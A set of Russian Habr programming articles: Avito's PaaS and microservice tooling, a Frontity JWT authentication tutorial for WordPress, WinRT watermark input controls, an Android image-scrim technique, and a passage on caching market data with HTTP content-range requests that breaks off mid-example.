Чтобы решить эти задачи на уровне платформы, мы вводим двусторонние контракты с клиентской и серверной стороны, и на основе этих контрактов автогенерируем код. Автосгенерированный код поддерживает все необходимые паттерны из коробки.
```
service "summer"
rpc sum (SumIn) SumOut `A sum method`
message SumIn {
a int `A first number`
b int `A second number`
}
message SumOut {
sum int `A sum of the numbers`
info string `Additional info`
}
```
Для реализации этого подхода мы используем свой небольшой формат описания под названием Brief. Он является подмножеством таких популярных форматов, как protobuf или Thrift, и может использовать их в качестве имплементации там, где нужно. Вот минималистичный пример, с помощью которого мы можем генерировать необходимый нам код для сервера и клиентов с нужной реализацией под капотом:
*Слева контракт со стороны клиента, справа — описание сервера*
Сами контракты — это те же самые brief-схемы.
Рассмотрим пример. Есть сервис summer, его полная схема расположена на иллюстрации справа. Он имеет RPC-вызов sum, который принимает на вход a и b для суммирования и возвращает сумму. А уже контракт со стороны клиента описывает точно такой же манифест, за исключением того, что он описывает только те методы и поля в структурах, которые ему необходимы. На картинке есть поле info справа, но его нет слева, в описании контракта со стороны клиента. Таким образом, мы чётко декларируем, что не используем это поле, и в автогенерированный код оно не попадает. Соответственно, со стороны сервера мы можем точно знать, что это поле не используется, и просто удалить его, если ни один из клиентов на поле не завязался, даже по факту нарушая обратную совместимость.
С помощью единой команды через avito утилиту, вызывая `avito service codegen`, мы получаем готовый клиент со всеми реализованными паттернами вида circuit breakers, установленными таймаутами (которые, конечно, всё равно необходимо тюнить), context propagation и прочими штуками. В итоге взаимодействие между сервисами идёт с помощью внутреннего протокола, разработчик особо о нём не задумывается.
С асинхронным взаимодействием подход такой же. Сервисы общаются ивентами, которые явно декларируются с помощью тех же самых манифестов. Здесь немного другой синтаксис: есть ключевое слово schema, с помощью которого мы декларируем, какими ивентами сервисы общаются асинхронно:
```
schema "service.create" ServiceCreate `Создание сервиса`
message ServiceCreate {
serviceId int
userId int
}
```
Если смотреть, как это выглядит архитектурно, то у нас есть единый сервис, с которым все взаимодействуют по специальному протоколу и написанному клиенту. Он называется data-bus и позволяет делать все необходимые вещи с ивентами между сервисами. Под собой data-bus инкапсулирует хранилище, в качестве которого мы используем Kafka. В итоге, как и в RPC-взаимодействии, сервисы автоматом получают интеграцию с сервисом шины данных, генерируя код из brief схем.Сам data-bus необходим для простой и гарантированно проверенной интеграции с системой асинхронного обмена событиями.
### Тестирование сервисов
Перетекаем из разработки в сторону доставки сервиса пользователям. Перед тем, как доставить сервис, его нужно протестировать. С тестами всё не очень гладко, когда мы начинаем использовать микросервисную архитектуру.
Если мы начинаем мигрировать подходы, которые использовали для тестирования в монолите, это приводит обычно к не очень хорошим результатам. Обычно у нас есть большое количество e2e-тестов, которые покрывают вообще весь проект, в нашем случае весь Авито, различными сценариями. При каждом изменении в любом микросервисе проверять все сценарии накладно и мы, по сути, лишаемся главного преимущества микросервисов — независимости разработки. Тем не менее, мы хотим тестировать всё те же кейсы и получать прогнозируемое качество изменений.
В микросервисной архитектуре мы стараемся покрывать всё в первую очередь юнит-тестами. End-to-end тесты оставляем только на бизнес-критичные пути.
Для e2e-тестов мы внедряем новый подход. Представим, что есть цепочка взаимодействия, в ней участвует пять сервисов. Нам нужно протестировать изменения только сервиса s3, как мы можем это сделать? Мы разворачиваем его в отдельном тестовом окружении, и далее есть два варианта. Первый — поднять пять сервисов рядом, изолированно, и протестировать. Этот вариант чреват тем, что будет использоваться много ресурсов и стабильность тестов будет низкой. Второй вариант — в стейджинг-окружении, где уже всё развернуто, задеплоить сервис s3, и проверить интеграцию.
Со вторым вариантом поначалу всё хорошо. Но когда так начинают действовать все разработчики, стейджинг-окружение превращается в хаос. Понять, почему падают определённые тесты практически невозможно: все разработчики работают в одной среде и по сути отлаживают там все новые фичи как в dev-песочнице.
Чтобы решить эту проблему, мы используем динамический роутинг с имплементацией с помощью service mesh. Когда мы хотим протестировать сервис s3, то на уровне сети на все запросы end-to-end сценария добавляем header X-Route. Этот header говорит о том, что если сейчас мы хотим сходить в сервис s3, то это будет не настоящий стабильный сервис s3, а его тестовая копия. Таким образом мы полноценно тестируем новую версию без изменения и слома стейджинга. Делаем это с помощью [решения netramesh](https://github.com/avito-tech/netramesh).
### Доставка сервисов
В доставке сервисов тоже было несколько важных изменений, к которым мы пришли со временем. Как я говорил выше, мы долго использовали инструмент Helm. Он хороший, но у него достаточно плохой user experience в работе с обратной связью о deploy. Разработчику неудобно узнавать, почему что-то упало, что происходит в данный момент, как гарантированно откатиться на нужную версию. Мы жили с этим, обложившись дополнительным инструментарием.
Но однажды появилась задача, которая обязала нас держать в пределах одного окружения несколько кластеров. С Helm мы не могли достичь транзакционности деплоев. Если сервис выкатывается в определённое окружение, то он должен быть в одной версии полностью по всей системе, во всех кластерах. Helm такое не умеет и реализовать поверх него это достаточно сложно.
Поэтому мы решили взглянуть на весь процесс деплоя сверху и увидели, что по факту уже применяем готовые манифесты, которые генерит инструмент helmgen. От Helm мы использовали только небольшую прослойку, по сути kubectl apply с ожиданием готовности сервиса, но не использовали шаблонизацию. Качество rollback и удобство утилиты нас также не очень устраивали. Поэтому мы поменяли подход к деплою.
Мы пришли к написанию утилиты под названием Jibe. К сожалению, она ещё не заопенсоршена, но давайте посмотрим, в чём её кардинальное отличие от прошлых инструментов.
Допустим, мы хотим разложить новую версию сервиса для двух кластеров.
В отличие от старого подхода, с Jibe мы не заменяем предыдущую версию, а деплоим рядом новую. Например, v6 рядом с версией v5, и дожидаемся, когда во всех кластерах новая версия приходит в состояние ready.
Когда трафик по-прежнему полностью идёт на v5, но версия v6 уже готова, мы переключаем во всех кластерах трафик на новую версию и дожидаемся, когда всё станет окей.
После этого тушим предыдущую версию.
Таким образом мы достигаем транзакционности деплоев даже по нескольким Kubernetes-кластерам.
Единственный тонкий момент в том, что если в момент переключения балансировки что-то пойдёт не так, то мы получим на время неконсистентное состояние. Но мы к этому готовы: у нас есть дополнительный асинхронный компонент, который eventually восстановит справедливость, и трафик будет идти в новую версию v6.
Если смотреть высокоуровнево, Jibe даёт:
1. Multistage deploy — деплой, который происходит в несколько фаз. Есть фазы init, баз данных, application, фаза балансировки. С возможностью кастомизации до любого набора.
2. Deploy с ручным контролем. Каждой из фаз мы можем управлять вручную. Это дало нам возможность использовать такие подходы, как canary deployment и blue-green deployment. С Helm это достаточно проблематично сделать.
3. Гарантию консистентности релизов между кластерами. Это помогло решить проблему с мультикластерным окружением.
### Эксплуатация сервисов
В эксплуатации сервисов достаточно много интересных проблем, которые мы решали со стороны платформы.
Первая — это **управление ресурсами**. Возьмём для примера потребление CPU. На левом графике ниже можно увидеть, что использование ресурсов где-то колеблется в пике на 30-40% от общего объёма в кластерах, тогда как requests, то есть запрошенные ресурсы в кластерах, выходят практически в 100%.
Это проблема, потому что разработчикам сложно определить и запланировать нужное количество ресурсов. Даже если они это делают качественно в начале, то со временем поддерживать ресурсы в актуальном состоянии становится сложно. В итоге мы получаем неэффективное использование ресурсов и даже деградации в продакшене из-за плохого шедулинга со стороны Kubernetes, шумных соседей и внезапных оверкоммитов. С этим надо бороться.
Чтобы побороть проблему с ресурсами, мы используем механизм VPA — Vertical Pod Autoscaling. По каждому из сервисов у нас есть очень ценная для этой задачи историческая статистика потребления ресурсов. Сервисы постоянно в продакшене, и мы можем посмотреть потребление за последнее время. Мы берём эту статистику и применяем к ней специальную функцию, которая смотрит на тренд и 95-й перцентиль использования. Затем функция генерирует для каждого контейнера необходимые requests по CPU и памяти для Kubernetes. В итоге ресурсы полностью вычисляются на основе статистики.
Есть, конечно же, корнер-кейсы для новых сервисов, для которых мы не знаем будущее использование ресурсов. Поэтому для резких всплесков и спайков мы выдаём большие лимиты и всегда поддерживаем запас на нодах, чтобы сервисы могли использовать дополнительные ресурсы.
В итоге мы получили запросы ресурсов, которые соответствуют потреблению и предсказуемый шедулинг. Этот подход действительно работает, и избавляет нас от большого количества головной боли.
В Kubernetes мы рулим CPU и памятью, но есть и другие параметры, например, сетевая утилизация.
На графике ниже — два гигабитных интерфейса. На одной ноде утилизация в топе 400 Мбит/с, на другой — 800 Мбит/с. Естественно, те сервисы, которые находятся на ноде с 800 Мбит/с утилизацией, начинают потихонечку деградировать. Нативная поддержка в Kubernetes есть только у CPU и памяти, с сетевой утилизацией напрямую работать нельзя. К сожалению, она не зависит напрямую от других ресурсов, то есть её нельзя хорошо корректировать с помощью процессора и памяти. В итоге мы получаем такую же проблему, как со стандартными ресурсами.
Чтобы решить её, мы вводим extended-ресурсы, то есть расширенные ресурсы, по сути такие же, как и стандартные. В случае с сетевой утилизацией, avito.ru/netutil, и заполняем его тем же самым подходом, что и память и процессорное время. В итоге получаем решение проблемы и под сеть.
Но это тоже не конец. Когда идёт много деплоев в одно время, в пике выкатываются десятки сервисов, и Kubernetes не всегда с первого раза принимает верные решения. Как следствие, мы получаем неконсистентное распределение по сервисам: одни ноды содержат большое количество подов и утилизированы сильно, а другие ноды отдыхают. Чтобы решить эту проблему, мы запускаем специальный инструмент descheduler, который позволяет автоматом переселять поды с одной на другую.
Высокая утилизация одной ноды:
Под автоматически переселён:
Алгоритм работы descheduler достаточно простой. Он проходит по всем физическим нодам в кластере и смотрит на их системные метрики — CPU, память, network util. Там, где ресурсы высокоутилизированные, descheduler автоматом находит соответствующие поды и удаляет их. Дальше уже Kubernetes с помощью стандартного механизма шедулинга сам находит подходящую ноду со второго раза (или с третьего :) ). Для избежания зацикливания есть механизм rate limiting переселения подов.
Следующий момент — это **runtime-конфигурация**. Когда мы хотим сходить из одного сервиса в другой, нам нужно знать, как его найти. Первая проблема здесь — хардкод в конфигурации сервиса, в app.toml. Кто-то, например, поставил поход через ingress controller, потом туда кто-то добавил fqdn, кто-то пошёл случайно в staging из продакшена. Получается хаос и боль, особенно если мы решили переезжать из одного кластера в другой и все эти url изменяются.
Мы пришли к тому, что такие настройки можно также вынести на уровень платформы. Теперь мы явно декларируем в app.toml все зависимости, которые есть у сервиса. Разработчики описывают имена сервисов, далее helmgen автоматом на уровне платформы генерирует переменные окружения и заполняет их значениями, которые необходимы сервису в проде, в стейджинге и даже локально, и правильно проставляет значения.
В итоге разработчик не указывает вообще никаких url, система делает это автоматически. Более того, здесь есть ещё один слой магии — автогенерируемые клиенты. Они автоматически формируют подключение из переменных окружений и сразу же подключаются к нужным сервисам. В итоге не требуется даже знать, какие в реальности url необходимы. И в случае необходимости изменения подхода discovery, можно сделать изменение в одном месте системы.
Следующая достаточно большая тема — это **сетевое взаимодействие и observability**, то есть наблюдаемость системы. Разработчики обращаются в платформенную команду с такими частотными вопросами:
* Почему происходят connection timeouts?
* Почему сеть какая-то нестабильная?
* Почему вдруг у меня запрос улетел в мёртвый instance, а не зароутился автоматом в здоровый?
Часть этих вопросов мы закрываем с помощью [Navigator service mesh](https://github.com/avito-tech/navigator). Он собирает унифицированные метрики по всем взаимодействиям в системе, и в результате мы полноценно понимаем, как сервисы взаимодействуют между собой. Дополнительно мы внедряем между всеми сервисами на уровне сети такие подходы, как outlier detection и connect retries. Разработчик даже о них может не знать, они просто делают взаимодействие между сервисами более предсказуемым для него.
Выглядит это таким образом:
Все сервисы общаются не напрямую, а с помощью envoy proxy, который как раз контролирует Navigator. С помощью Prometheus мы автоматически скрейпим все эндпойнты envoy прокси, которые находятся рядом с каждым сервисом, и получаем в унифицированном виде всю информацию о взаимодействиях. В интерфейсе можно посмотреть данные по RPS, request time, утилизации сети между сервисами и много других дополнительных метрик.
*Основные метрики в Grafana*
Тем же методом мы получаем трейсы по тому, как проходил запрос. Посмотреть пример можно на скриншоте ниже. Там скрыта sensitive-информация, но видно, что с помощью Jaeger UI (насыщенном информацией из service mesh) можно быстро понимать, как происходило взаимодействие, какой сервис вносит наибольшую задержку по latency.
Помимо разматывания деградаций и проблем, есть часть вопросов по организации сервисов в платформе:
* Как найти ответственного за сервис?
* Как понять, кто потребитель?
* Какой API у сервиса?
Чтобы на них ответить, мы внедрили PaaS Dashboard, который уже частично рассмотрели в начале статьи. Это frontend часть, которая позволяет посмотреть различные данные по всем сервисам в одном месте. В ней можно посмотреть, кому принадлежит сервис, основные метрики, как связана сейчас работа сервиса с инфраструктурой, деградируют ли физические ноды, на которых находится сервис, автоматически подсветить проблемы в Sentry, или происходящие бизнес-ошибки. Плюс скоррелировать, например, деплои, посмотрев общий лог по всей системе.
Также можно посмотреть API сервиса и те фичи, которые используют его клиенты.
Вот ещё один скриншот:
Тут можно видеть, что мы выносим в него в том числе Kubernetes-информацию, чтобы было проще ориентироваться, когда есть несколько Kubernetes-кластеров в пределах одного окружения.
Недостатки и преимущества PaaS
------------------------------
Суммируем все недостатки и преимущества, которые мы обнаружили при разработке PaaS-системы.
Недостатки:
1. Миграция существующих сервисов может быть очень долгой. Когда мы начали делать PaaS, у нас были сотни сервисов, и перевести их все на app.toml с адаптацией под новые пайплайны — операция достаточно дорогая. Полноценная миграция занимает больше года.
2. Низкая мотивация перехода на высокоуровневые инструменты у инженеров, которые уже много работают с низкоуровневыми инструментами. Им нужно чётко показывать, как именно новый инструмент решает проблему, и демонстрировать, что это ускоряет разработку и стабильность системы в конечном счёте.
3. Крайне важно найти правильный баланс между автоматизацией и гибкостью. Нужно сделать так, чтобы разработчику было комфортно работать, и в то же время настройки можно было контролировать со стороны платформы. Можно настолько автоматизировать всё в платформе, что разработчик получит только маленькую text area для написания бизнес-кода, но вряд ли это ему понравится.
Преимуществ PaaS значительно больше. Мы получили много профита от его внедрения:
1. Экономия времени и ресурсов со стороны продукта. Разработчики получили достаточно большой буст по таким вещам, как, например, интеграция с базой данных PostgreSQL. До автоматизации процесса у разработчиков интеграция могла занимать неделю. Нужно было написать все манифесты, сходить к админам, запросить базу данных, а затем правильно прокинуть все секреты. Это трудоёмкая операция. В случае с автоматизацией, с платформой, это занимает минуты или даже секунды, достаточно нажать на кнопку. И так в каждом кусочке, где необходима связь с инфраструктурой.
2. Следующий момент — это контроль «зоопарка». Кастомные вещи превращаются в запросы в команду платформы, и все нестандартные кейсы можно разруливать в одном месте. В итоге нет неконтролируемого использования новых технологий. Всё можно обсудить и прийти к правильному решению.
3. Появилась возможность быстро вносить любые платформенные изменения на всю компанию. Например, когда изменяется версия Kubernetes, нужно изменить манифесты по всем сервисам. Теперь мы делаем это в одном месте, не нужно договариваться и влезать в рабочие процессы продуктовых команд.
Итоги
-----
В этой статье я осветил самые яркие моменты платформы, которые, как мне кажется, можно переиспользовать (подходы и инструменты). Пишите в комментарии, если по каким-то подходам надо дать больше информации или поделиться примером конкретной реализации. | https://habr.com/ru/post/527400/ | null | ru | null |
# Туториал: Frontity — настройка авторизации для приватных эндпоинтов WordPress
### Предисловие
Этот туториал предназначен в первую очередь для новичков в разработке на Frontity (React framework для WordPress).
### Основная цель
Собрать в одном месте всю необходимую информацию для настройки авторизации для приватных эндпоинтов WordPress на примере получения коллекции меню (wp-json/wp/v2/menus).
### Шаг 1 - установка/настройка плагина
Добавить Wordpress плагин - [JWT Authentication for WP-API](https://wordpress.org/plugins/jwt-authentication-for-wp-rest-api/).
Внести настройки плагина в файлы *.htaccess* и *wp-config.php* согласно инструкции на сайте плагина.
### Шаг 2 - настройка переменных окружения
Создать *.env* фал и наполнить его (например):
```
USERNAME='SOME USERNAME'
PASSWORD='SOME PASSWORD'
```
Добавить в *package.json* скрипт:
```
"dev": "env-cmd -f .env frontity dev"
```
### Шаг 3 - получение токена
Добавить action получения токена в *actions.theme.beforeSSR*:
```
const beforeSSR = async ({ state }) => {
const res = await fetch(
`${state.source.api}jwt-auth/v1/token`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: process.env.USERNAME,
password: process.env.PASSWORD,
}),
redirect: 'follow',
},
);
const body = await res.json();
// сохраняем в любое удобное место (я записал по этому пути)
state.theme.token = body.token;
};
```
### Шаг 4 - получение данных
Создаем handler получения списка созданных меню:
```
export const menusHandler = {
name: 'menus',
priority: 10,
pattern: 'menus',
// Эта функция сработает, когда вы используете:
// actions.source.fetch("menus");
func: async ({ state, libraries }) => {
const response = await fetch(`${state.source.api}wp/v2/menus`, {
method: 'GET',
headers: {
// добавляем токен, полученный в предыдущем шаге, в заголовок авторизации
Authorization: `Bearer ${state.theme.token}`,
},
});
// Извлекаем данные из объекта ответа
const data = await response.json();
state.source.data.menu = {};
// Это данные, возвращаемые при использовании:
// state.source.get("menu");
Object.assign(state.source.data.menu, {
data,
isMenu: true,
});
},
};
```
Добавляем *handler* по следующему пути *libraries.source.handlers.*
### Заключение
В результате проделанной работы вы настроете механизм авторизации для приватных эндпоинтов WordPress.
Исходный код
------------
Можно найти [здесь](https://github.com/kas-elvirov/public-scripts) | https://habr.com/ru/post/696650/ | null | ru | null |
# Затемнение изображения в CollapsingToolbarLayout или Image Scrim
Привет, хабражителям и ~~любителям~~ профессионалам разработки под Android. В этой статье я хочу с вами поделиться на мой взгляд нужной и интересной информацией. Речь пойдет о такой вещи, как Image Scrim (скажу сразу, что данное понятие я ввел самостоятельно).
### Предисловие
Не так давно занимаясь разработкой проекта, я столкнулся с небольшой неприятностью. Проект был связан с получением данных через Dribbble API. При получении изображения и сортировкой их в RecyclerView мне пришлось передавать имидж из одной активности в другую. Так как в этом проекте нужно было использовать современные решения, все это дело при клике на item в RecyclerView я решил реализовать с помощью CollapsingToolbarLayout и в него вставить Image.
Чтоб было понятней о чем я говорю (читай «не лить воду»), приведу пример:
Как видно на данной гифке, изображение располагается на белом фоне и если бы не Image Scrim, которые я реализовал, тогда бы названия изображения «Happy Octopus» не было бы видно (белый шрифт на белом изображении).
Ну а теперь приступим к реализации.
### Реализация
На самом деле т.н. Image Scrim — это обычные View элементы внутри CollapsingToolbarLayout.
**1.** В необходимом layout после имиджа внутри CollapsingToolbarLayout создаем две кастомные вьюхи, например так:
```
...
```
**2.** Создаем 2 файла в drawable, которые отвечают за тень от верхнего края и нижнего имиджа и назовем их соответсвенно:
scrim\_top.xml
```
```
scrim\_bottom.xml
```
```
**3.** Добавляем цвета в colors:
```
#33000000
#26000000
#4D000000
#40000000
```
С прозрачностью цветов можно поиграться, чтоб подобрать более плавные цвета.
**4.** В dimens.xml добавляем следующие строки:
```
50dp
88dp
```
Методом тыка выяснил, что эти отступы от верхнего и нижнего края отлично подходят для изображения в 300 dp, поэтому если у вас изображение равностороннее, тогда с dp можно поиграться, то есть привести в соответствие со своими принципами своего дизайна.
**P.S.** Надеюсь статья оказалось полезной. Буду рад ответить на все вопросы, если таковы будут.
**P.P.S.** Также может вам быть полезна следующая небольшая табличка с альфа-каналами цветов для того, чтоб подобрать нужную прозрачность для Image Scrim.
 | https://habr.com/ru/post/319088/ | null | ru | null |
# Пишем свой Watermark TextBox и PasswordBox для Win8/RT, Windows Phone
#### Сабж
На самом деле очень тревиальная задача, но, столкнувшись с которой, можно потерять драгоценное время.
Итак, что мы имеем:
[WinRT XAML Toolkit](http://winrtxamltoolkit.codeplex.com/) несет на своем борту Watermark TextBox, но имеет ограниченый функционал (цветовое оформление Watermarkа). Вдобавок отсутсвие Watermark PasswordBox огорчает.
Следуйщий текст позволит Вам сэкономить 30 минут времении, имплементировав и настроив парочку простеньких контролов). Если интересно — добро пожаловать под кат.
#### Идея
Идея крайне проста: TextBox для ввода текста и TextBlock для отображения Watermark. (PasswordBox и TextBlock соответсвенно). Осталось только хитро манипулировать с прозрачностью контролов.
Представленный пример предназначен для Windows 8/RT. Имплементировать для Windows Phone не составит труда.
WatermarkTextBox.xaml
```
```
WatermarkTextBox.cs
```
public sealed partial class WatermarkTextBox : UserControl
{
public WatermarkTextBox()
{
InitializeComponent();
}
private void LostFocus(object sender, RoutedEventArgs e)
{
CheckWatermark();
brd.Background = new SolidColorBrush(Color.FromArgb(255, 224, 224, 224));
}
public void CheckWatermark()
{
var passwordEmpty = string.IsNullOrEmpty(tb.Text);
tbWatermark.Opacity = passwordEmpty ? 100 : 0;
tb.Opacity = passwordEmpty ? 0 : 100;
}
private void GotFocus(object sender, RoutedEventArgs e)
{
tbWatermark.Opacity = 0;
tb.Opacity = 100;
brd.Background = new SolidColorBrush(Color.FromArgb(255, 255, 255, 255));
}
private void Tb_OnTextChanged(object sender, TextChangedEventArgs e)
{
Text = tb.Text;
}
#region DependencyProperty
///
/// Watermark
///
public string Watermark
{
get { return (string)GetValue(WatermarkProperty); }
set { SetValue(WatermarkProperty, value); }
}
public static readonly DependencyProperty WatermarkProperty = DependencyProperty.Register("Watermark", typeof(string), typeof(WatermarkTextBox), new PropertyMetadata("", WatermarkChanged));
private static void WatermarkChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var controll = (WatermarkTextBox)d;
var val = (string)e.NewValue;
controll.tbWatermark.Text = val;
}
///
/// TextSize
///
public int TextSize
{
get { return (int)GetValue(TextSizeProperty); }
set { SetValue(TextSizeProperty, value); }
}
public static readonly DependencyProperty TextSizeProperty = DependencyProperty.Register("TextSize", typeof(int), typeof(WatermarkTextBox), new PropertyMetadata(0, TextSizeChanged));
private static void TextSizeChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var controll = (WatermarkTextBox)d;
var val = (int)e.NewValue;
if (val < 10){val = 10;}
controll.tb.FontSize = val;
controll.tbWatermark.FontSize = val;
}
///
/// Text
///
public string Text
{
get { return (string)GetValue(TextProperty); }
set { SetValue(TextProperty, value); }
}
public static readonly DependencyProperty TextProperty = DependencyProperty.Register("Text", typeof(string), typeof(WatermarkTextBox), new PropertyMetadata("", TextChanged));
private static void TextChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var controll = (WatermarkTextBox)d;
var val = (string)e.NewValue;
if (val == null)
{
controll.tb.Text = "";
return;
}
controll.tb.Text = val;
}
#endregion
}
```
WatermarkPasswordBox.xaml
```
UserControl
x:Class="Test.Controls.WatermarkPasswordBox"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d"
d:DesignHeight="300"
d:DesignWidth="400">
```
WatermarkPasswordBox.cs
```
public sealed partial class WatermarkPasswordBox : UserControl
{
public WatermarkPasswordBox()
{
this.InitializeComponent();
}
private void PasswordLostFocus(object sender, RoutedEventArgs e)
{
CheckWatermark();
brd.Background = new SolidColorBrush(Color.FromArgb(255, 224, 224, 224));
}
public void CheckWatermark()
{
var passwordEmpty = string.IsNullOrEmpty(pb.Password);
tbWatermark.Opacity = passwordEmpty ? 100 : 0;
pb.Opacity = passwordEmpty ? 0 : 100;
}
private void PasswordGotFocus(object sender, RoutedEventArgs e)
{
tbWatermark.Opacity = 0;
pb.Opacity = 100;
brd.Background = new SolidColorBrush(Color.FromArgb(255, 255, 255, 255));
}
private void Pb_OnPasswordChanged(object sender, RoutedEventArgs e)
{
Password = pb.Password;
}
#region DependencyProperty
///
/// Watermark
///
public string Watermark
{
get { return (string)GetValue(WatermarkProperty); }
set { SetValue(WatermarkProperty, value); }
}
public static readonly DependencyProperty WatermarkProperty = DependencyProperty.Register("Watermark", typeof(string), typeof(WatermarkPasswordBox), new PropertyMetadata("", WatermarkChanged));
private static void WatermarkChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var controll = (WatermarkPasswordBox)d;
var val = (string)e.NewValue;
controll.tbWatermark.Text = val;
}
///
/// Password
///
public string Password
{
get { return (string)GetValue(PasswordProperty); }
set { SetValue(PasswordProperty, value); }
}
public static readonly DependencyProperty PasswordProperty = DependencyProperty.Register("Password", typeof(string), typeof(WatermarkPasswordBox), new PropertyMetadata("", PasswordChanged));
private static void PasswordChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var controll = (WatermarkPasswordBox)d;
var val = (string)e.NewValue;
if (val == null)
{
controll.pb.Password = "";
return;
}
controll.pb.Password = val;
}
///
/// TextSize
///
public int TextSize
{
get { return (int)GetValue(TextSizeProperty); }
set { SetValue(TextSizeProperty, value); }
}
public static readonly DependencyProperty TextSizeProperty = DependencyProperty.Register("TextSize", typeof(int), typeof(WatermarkPasswordBox), new PropertyMetadata(0, TextSizeChanged));
private static void TextSizeChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var controll = (WatermarkPasswordBox)d;
var val = (int)e.NewValue;
if (val < 10) { val = 10; }
controll.pb.FontSize = val;
controll.tbWatermark.FontSize = val;
}
#endregion
}
```
И простое использование в любом нужном месте:
```
```
Только не забываем любимую строчку:
```
xmlns:controls="using:Test.Controls"
```
##### Как это работает?
При получении GotFocus/LostFocus обрабатываются при начале/окончании ввода текста/пароля. На основании введенных значений делается выбор об отображении Текста либо Watermark (метод CheckWatermark). При вводе текста/пароля в соответсующее поле перенаправляем в наше созданную DependencyProperty (методы Tb\_OnTextChanged/Pb\_OnTextChanged). Небольшой список DependencyProperty включает в себя текст Watermark, текст основного поля ввода, размер шрифта метки и текста.
##### Продолжаем подстраивать под себя
Совсем не сложно добавить любое необходимое свойство по Вашему вкусу. Потратили 10 минут, но получили полный контроль. Надеюсь сэкономил кому-нибудь время.
###### Note
Во время написания статьи наткнулся на [Dependency Property Generator](http://www.kirupa.com/blend_silverlight/dependency_property_generator.htm). Надеюсь это тоже будет экономить время.
Объективная/необъективная критика приветсвуется.
###### Update
Левый верхний — WatermarkTextBox
Левый нижний — WatermarkPasswordBox
Правый верхний — WatermarkTextBox с введенными данными
Правый нижний — WatermarkPasswordBox с введенными данными и фокусом. | https://habr.com/ru/post/179605/ | null | ru | null |
# Сложное решение простых проблем HighLoad WEB-сервисов
Ключевой задачей высоконагруженных WEB-систем является способность обработать большое число запросов. Решить эту проблему можно по-разному. В этой статье я предлагаю рассмотреть необычный метод оптимизации запросов к backend через технологию content-range (range). А именно — сократить их количество без потери качества системы путем эффективного кеширования.
Для начала, предлагаю изучить [статью](https://habr.com/post/138504/), где весьма емко и доходчиво изложена преамбула технологии с примером для S2S. Далее, желательно познакомиться с моей первой [статьей](https://habr.com/post/423737/) об использовании этой технологии для оптимизации работы с market-data на проекте криптобиржи.
В этой статье, я хочу показать, что данная технология может быть использована шире, чем продемонстрировала первая статья. Напомню, там трейдинговая информация ([свечи](https://ru.wikipedia.org/wiki/%D0%AF%D0%BF%D0%BE%D0%BD%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%B2%D0%B5%D1%87%D0%B8https://ru.wikipedia.org/wiki/%D0%AF%D0%BF%D0%BE%D0%BD%D1%81%D0%BA%D0%B8%D0%B5_%D1%81%D0%B2%D0%B5%D1%87%D0%B8)) получаются range-запросами к статическим файлам, которые заранее готовятся специальным сервисом. Теперь, я хочу рассмотреть запросы к полноценному backend на примере той же market-data, и для тех же свечей, без потери ключевых профитов.
Итак, что планируется достичь:
1. Оптимизировать запросы к backend (уменьшить их количество);
2. Повысить скорость доставки контента конечному пользователю;
3. Оптимизировать трафик.
Еще раз, особо выделю то, что технология range является стандартом ([RFC 2616](http://tools.ietf.org/html/rfc2616#section-14.35)). Она нативно поддерживается браузерами и они способны кешировать полученные порции данных. Следовательно, очередной запрос из браузера, при наличии актуального кеша запрашиваемой порции, реализуется на клиенте, не потревожив ваши сервера.
Если между клиентом и серверами добавить [CDN](https://ruhighload.com/%D0%A0%D0%B0%D0%B7%D0%B4%D0%B0%D1%87%D0%B0+%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2+%D1%87%D0%B5%D1%80%D0%B5%D0%B7+cdn), можно получить еще одну, мощную прослойку кеширования. И если в первом случае, кеширование будет происходить для конкретного, конечного клиента, то в паре с CDN, вы получаете возможность кешировать данные уже для группы конечных клиентов.
Таким образом, чтобы состоялся реальный запрос к серверу, запросу необходимо преодолеть два эшелона кеширования, каждый из которых снижает объем запросов к конечному серверу. Конечно, финальным “редутом”, на пути запроса, может стать ваш сервер со своим кешем.
Из особенностей использования технологии range нужно учесть, что она работает с порциями байтов. Т.е. с бинарными данными. И запрашивать мы можем именно интервалы байт. Отвечать должны, соответственно — бинарным блоком.
Думаю, вводных достаточно. Давайте перейдем к частному случаю, и уже на примере разберемся как мы можем все это “счастье” использовать в частной задаче — запрос свечей за заданный интервал с заданной экспозицией.
Для начала, т.к. мы должны работать с бинарными структурами, давайте закодируем нашу свечу. Для этого примем, к примеру, такую структуру:
```
moment: int32 // Момент времени
min: float64 // Минимальная цена
max: float64 // Максимальная цена
open: float64 // Цена открытия
close: float64 // Цена закрытия
volume: float64 // Объем
average: float64 // Средняя цена
```
Таким образом, наша структура займет 52 байта. Примем ее как квант — минимальный бинарный блок.
Далее, реализуем контроллер, который будет принимать GET запросы и парсить заголовок range. При этом, мы будем переводить запрашиваемый интервал в кванты путем простого деления без остатка, т.е. например, запрос с интервалом:
`Range: 5200-52000`
Должен нами интерпретироваться в размерности нашего кванта как:
`Range: 100-1000`
По сути, это будет offset и limit нашего запроса к БД.
С определением экспозиции совсем просто, мы ее можем поместить в url. К примеру:
`/api/v1/candles/7m`
Т.е. мы будем запрашивать свечи с экспозицией 7 минут. Естественно, мы предполагаем, что это параметр может меняться по желанию frontend.
Теперь, зная требуемую экспозицию, номер первой свечи и номер последней свечи, которую запрашивает frontend, мы можем выполнить соответствующий запрос к БД.
В целом, очень напоминает классическую задачу с пагинацией.
Остались мелочи. Каждая строка результата запроса конвертируется в бинарную структуру (тот самый квант) и полученный бинарный массив выводится как результат запроса, а в заголовок ответа отдается content-range:
`Content-Range: [запрошенный интервал] / [[количество записей в БД] * [размер кванта]]`
Стоп. А как же фрон сможет запросить нужный временной интервал, да еще и в байтовом интервале? Откуда он знает какие-то там номера свечей? Тут тоже все придумано. Range поддерживает относительное смещение, например,
`Range: -52`
